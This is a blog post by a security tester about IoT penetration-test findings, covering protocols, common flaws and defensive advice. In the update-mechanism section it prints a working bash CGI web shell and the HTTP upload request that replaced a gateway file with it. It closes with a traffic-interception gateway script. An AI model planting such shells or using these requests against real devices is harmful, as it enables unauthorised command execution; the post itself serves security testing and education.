IoT: My testing experience and conclusions

30 Oct 2016

Earlier this year I was involved in performing numerous security tests on IoT solutions. The main goal was to search for vulnerabilities in the architecture and final solution. The solutions we tested were considered consumer solutions, meaning they would be deployed in the user's house. In this post I'll be discussing some of the issues and challenges with IoT solutions.

What is Internet of Things?

Remember during your network courses, when learning about IPv6, your teacher said that one day every device in your house will have an IP and because of that we are moving to an IP space with an almost unlimited space of IPs? Guess what! That day is actually here. Internet of Things or IoT is basically taking every day objects and attaching them to the Internet. I've seen common objects like lights, curtains, airconditioner units but also less common objects like refrigerators and even a toilet (there are some real applications)


The general defition of IoT is "A proposed development of Internet in which everyday objects have network connectivity, allowing the, to send and receive data.".

Architecture of a common IoT solution

We can generally identify five components:
  • Actuators: control of physical processes such as turning things off and on, examples like airconditioning units, door locks, curtains, ...
  • Gateway: used for collecting sensor information and central point of control and on premisse data agregator
  • Sensor: sensors for detecting the environment, e.g. light, movement, temperature, humidity, water/electricity usage,...
  • "Cloud": Web interface or API hosted on the Web used for collecting data and do analytics on large datasets. In general this is used to do information sharing with other parties or when resource-intensive analyitcs can't be supported by the on-premise device
  • Mobile: mobile devices or mostly used, often an application on the device, to control and interact with the IoT environment
If we look at the protocols used we generally see that the cloud to gateway and back uses protocols like MQ or REST and mobile to cloud and mobile to gateway is most of the time REST as well. The IoT environment itself for controlling sensors and actuators usually use one of these wireless protocols (but there are many more):
  • Wifi
  • Zwave
  • ZigBee
  • Bluetooth
  • RF433
Each of these protocols has its benefits and weaknesses. There are a lot of constraints when it comes to choosing a protocol. The biggest issue being compability. The tabel below shows a quick comparisson between the protocols:
Technology Range Security Network support Comments
Zwave 30-60m AES-OFB but key can leak during initial handshake Meshed network, sensors and actuators can relay messages to the gateway (e.g. A sends message to gateway using B as relay points). This is good a wider network support. Range is often the key driver for choosing Zwave over ZigBee, developers found the implementations in general also better
ZigBee 100m AES-CCM but key can leak during initial handshake Meshed network, sensors and actuators can relay messages to the gateway (e.g. A sends message to gateway using B as relay points). This is good a wider network support. ZigBee is an open standard
RF433 30m no encryption, can easily be replayed star In general cheaper, range can be boosted too, mostly used if the manufacturer wants the user to only use their devices.
Bluetooth 6m no encryption, but frequency hopping star Mostly used to connect phones to the gateway for control

The main driver to use a certain protocol is compability. For instance RF433 has larger range but does not feature mesh networks or default security mechanisms. This means that if you want security you will have to come up with your own protocol, which means your end-users will not be able to just buy any off the shelf sensors or devices. ZigBee and Zwave largely have this instead. The main difference between ZigBee and Zwave is the range at which a device can communicate.


You can find some more information on ZigBee security in this white paper from Blackhat here. Also here's a paper on Z-wave from Sigma Designs.

Threat vectoring

Any security assessment requires you to evaluate who your adversaries are and how they might want to abuse or compromise your systems and what they might use it for. When I do my threat vectoring I consider the information contained within the environment, which actuators are in place and what risk they might pose. Compromise of an IoT device may be used to target the IoT environment or simply be used like a bot in a botnet to attack external networks (or a combination of both). You should evaluate what can be done with each of the actuators and how certain sensor values may influence the environment. To do this you must have a good understanding on how your IoT ecosystem works, what type of devices might be used and how this might expand. One talk I attended recently at GovWare discussed the Ransomeware of Things. The presenter suggested that in the near future our own home appliances could be holding us hostage. For instance doors not opening, automated vacuum cleaners turning off and on or refrigderators changing temperature to make food spoil:

Common vulnerabilities found in IoT solutions

When doing our testing we noticed a set of vulnerabilities comming back:
  • Unauthenticated update mechanisms
  • SQL/JSON injection
  • Bad design
  • Too much trust

Unauthenticated update mechanisms

There are many different ways of updating packages. Some of them used the traditional package managers found in Linux systems, others used less traditional means, such as executables that can be run from a computer on the same network, to pushing down updates from the cloud environment. The biggest issue with these home grown mechanisms is that they are not using secure means to deliver the packages. For instance the mechanism using a standalone executable, accessed a hidden API which could be used to replace files on the gateway. All you needed to do was to upload a CGI file and replace an existing file. In this specific case the gateway was running on bash CGI, so we uploaded our own shell:

#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2

POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=------7cf2a327f01ae
User-Agent: REDACTED
Host: 192.168.1.98:8181
Content-length: 482
Pragma: no-cache
 
--------7cf2a327f01ae
Content-Disposition: form-data; name="auth"
 
11366899
--------7cf2a327f01ae
Content-Disposition: form-data; name="type"
 
w
--------7cf2a327f01ae
Content-Disposition: form-data; name="file"; filename="C:\REDACTED CONFIGURATOR\output\login.cgi"
#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2
--------7cf2a327f01ae

Now you can guess what happened next:

My advice here is to make use of existing solutions, such as package managers or, if you must roll your own, by signing your code and verifying it before installing it.

SQL/NoSQL injection

SQL injection has been known for a long time, of course injection vulnerabilities arise from not sanitizing input correctly allowing for an attacker to inject control characters into a query. We do see this coming back for a lot of the solutions, a lot of developers don't consider this to be an issue with NoSQL databases or are just not aware that this could be an issue too. My advice here is to make sure you use vetted libraries which can do proper input validation and do it consistently across your code base. I can't share any examples on this, but have a look at this article from websecurify.

Bad design and too much trust

Since there are few reference architectures available yet, we see a lot of architectures which make things easy but which may give you great exposure if a single component is breached or compromised. Furthermore we see developers consider that communication where no traditional user input is available cannot be vulnerable. In one such instance we noticed that when intercepting the communication between the gateway and the cloud there was no authentication aside from the gateway identifier (which we could easily enumerate). This resulted in us both being able to inject fake telemetery but also retrieve information on other users. Some other instances included:

  • Mobile applications directly logging onto a database interface (using the same password for all devices)
  • Security is too reliant on the network security (e.g. no encryption of communication on the local network)
  • MQ messages are not signed or encrypted before transfering them
  • Use of easily enumerable or non-revocable (e.g. date of birth and name) information as API key to identify a user's gateway
  • Security through obscurity: the amount of times I heard "They will never find out!"
  • In-house developed cryptography (none of them were cryptographers)

My advice here:

  • Sanitize and properly encode the information on the receiving end, this means a client shouldn't sanitize for a server and a client shouldn't expect the server to provide it sanitized information. This means that if you expect an integer, check if it is, if it's not you know something phishy is going on. In general use vetted and proven frameworks.
  • If the device is not hosted in your network, then treat it as hostile and don't expect any input to be correct or trustworthy, sanitize it properly.
  • Use proper encryption on all communication (HTTPS, encrypted MQ) and do not fail open if for instance certificates aren't valid
  • API keys are quite common to identify a certain gateway. Because the identifier servers as an authentication token (since a user cannot be expected to give a username and password for it to work) you need to make sure that the identifier is randomly generated using cryptographically secure RNG. I generally advice to use 128 bits as a minimum (32 characters), but considering the user only needs to submit this during set up (or if you can configure it at manufacturing time) you should preferably do it longer.
  • Even the most renowned cryptographers don't consider their algorithms secured unless vetted by several independant parties, and even then it sometimes goes wrong. So if you want to do cryptography, use existing algorithms and reference implementations rather than coming up with your own model.

One design I still want to discuss briefly is one that I found to be beautiful. The issue the developer wanted to tackle is one thing I haven't discussed above. A lot of times users want to use their mobile phone to control their services at home remotely. For instance turning on an aircon unit or opening a door for a cleaning lady. The issue with that is that your gateway is often located behind a router and not directly accessible from the Internet. Some solutions do use port forwarding, but this then also requires a dyn DNS solution and requires a lot of configuration from the user.


In general what companies do is that the mobile application will send a message to the cloud and the gateway will then fetch it from there.

The developer I spoke too didn't really like the idea that a single point had so much control. So he used the concept of signing to fix. The idea is that if you use your mobile phone to change the state of an actuator in your house, that you sign the message before posting it to the cloud. The gateway then fetches it and verifies the signature. This means that at no point compromise of a cloud platform used to relay messages could be abused to further compromise all of its gateways.


The way he did was buy coding a QR code generator which would generate a set of QR codes containing an ID to link a gateway to a user account and which also contained a private key (for the mobile phone) and its own public key. The reason the key was generated on the gateway and not the on the mobile phone was because there was no user friendly way of onboarding it onto the gateway (it didn't feature a web interface). For the purpose of a home user environment I considered it secure enough (while I still realize from a pure security perspective it might not be ideal). Whenever the user sends a control message, the message is signed, time stamped and encrypted before sending it off. The gateway would track what messages it had received before to prevent replay attacks.


One other solution I saw here, in case the cloud provider wants to know what's inside the message, was to provide a similar mechanism using HMAC and a shared secret between the gateway and the phone.

Why is IoT still going wrong?

I've engaged with a lot of developers from both large companies and small startups. The most secure solutions I saw were from a very large electronics provider and a five man startup company. So just the size of the company doesn't mean security. I did see certain topics coming back on why vulnerabilities were present:

  • Start up companies often depend on business angels and external investors, they must have a working prototype as fast as possible
  • The focus is often on features and functionality, security comes after
  • Often limited experience with development and security (startups with fresh grads)
  • Security takes time and is sometimes hard to get right from the first time
  • There aren't a lot of reference architectures or standards
  • No budget for independant security reviews (most of the testing we do was paid by another party)

So how do you tackle something like that? Here are some key things to take care of during development:

  • Do proper threat modeling
  • The focus is often on features and functionality, security comes after
  • Often limited experience with development and security (startups with fresh grads)
  • Security takes time and is sometimes hard to get right from the first time
  • There aren't a lot of reference architectures or standards
  • No budget for independant security reviews (most of the testing we do was paid by another party)

Awareness

The issue with security conferences is that we are often not reaching the people that need it the most. Meaning those people who are not generally interested in security are not aware about it and it's them who make the mistakes. I once attended a talk by Mark Hillick from Riot Games. He was facing the same issue where developers who made security mistakes in general didn't participate in security events teaching security. To tackle this they booked in small slots at internal programming community meet ups to discuss the security issues with regard to the topics presented. It was basically a light introduction on security to get the developers more interested and aware about security. I believe we must do the same thing and make security an integral part of the IoT community conferences and meetups.

Conclusion

People have the urge to attach anything and everything to the Internet but get the security wrong quite often. Most mistakes are made due to the security objectives not being clear, lack of experience and awareness. There are a few guidelines available, but we are still at a stage were reference examples of a secure IoT architecture aren't readily available. Finally to succeed we must take security to general IoT events and not expect them to come to us, make them interested and curious about security and a positive influence on their security skills should be seen.

Below are some references in case you want to read more on IoT security or start working on your own, secure, solutions:

I also wanted to share this script which I use for doing interception of connections from an IoT gateway to the Internet through a proxy like Burp. What you need is a laptop with one connection to the internet and another one to the gateway:

#!/bin/sh
echo "Interface with internet connectivity: "
read iInf
echo "Secondary interface with rogue device: "
read wInf
echo "Stopping network manager ..."
service network-manager stop
echo "Stopping dnsmasq ..."
service dnsmasq stop
echo "Bringing down wireless interface ..."
ifconfig $wInf down
echo "Configuring wireless interface ..."
ifconfig $wInf 192.168.1.1 netmask 255.255.255.0
echo "Starting dnsmasq as DHCP server ..."
dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m --dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25 --pid-file=/var/run/nm-dnsmasq-wlan.pid
echo "Stopping firewall and allowing everyone ..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
echo "Enabling NAT ..."
iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE
echo "Enabling IP forwarding ..."
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Gateway setup is complete"
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 443 -j REDIRECT --to-port 8080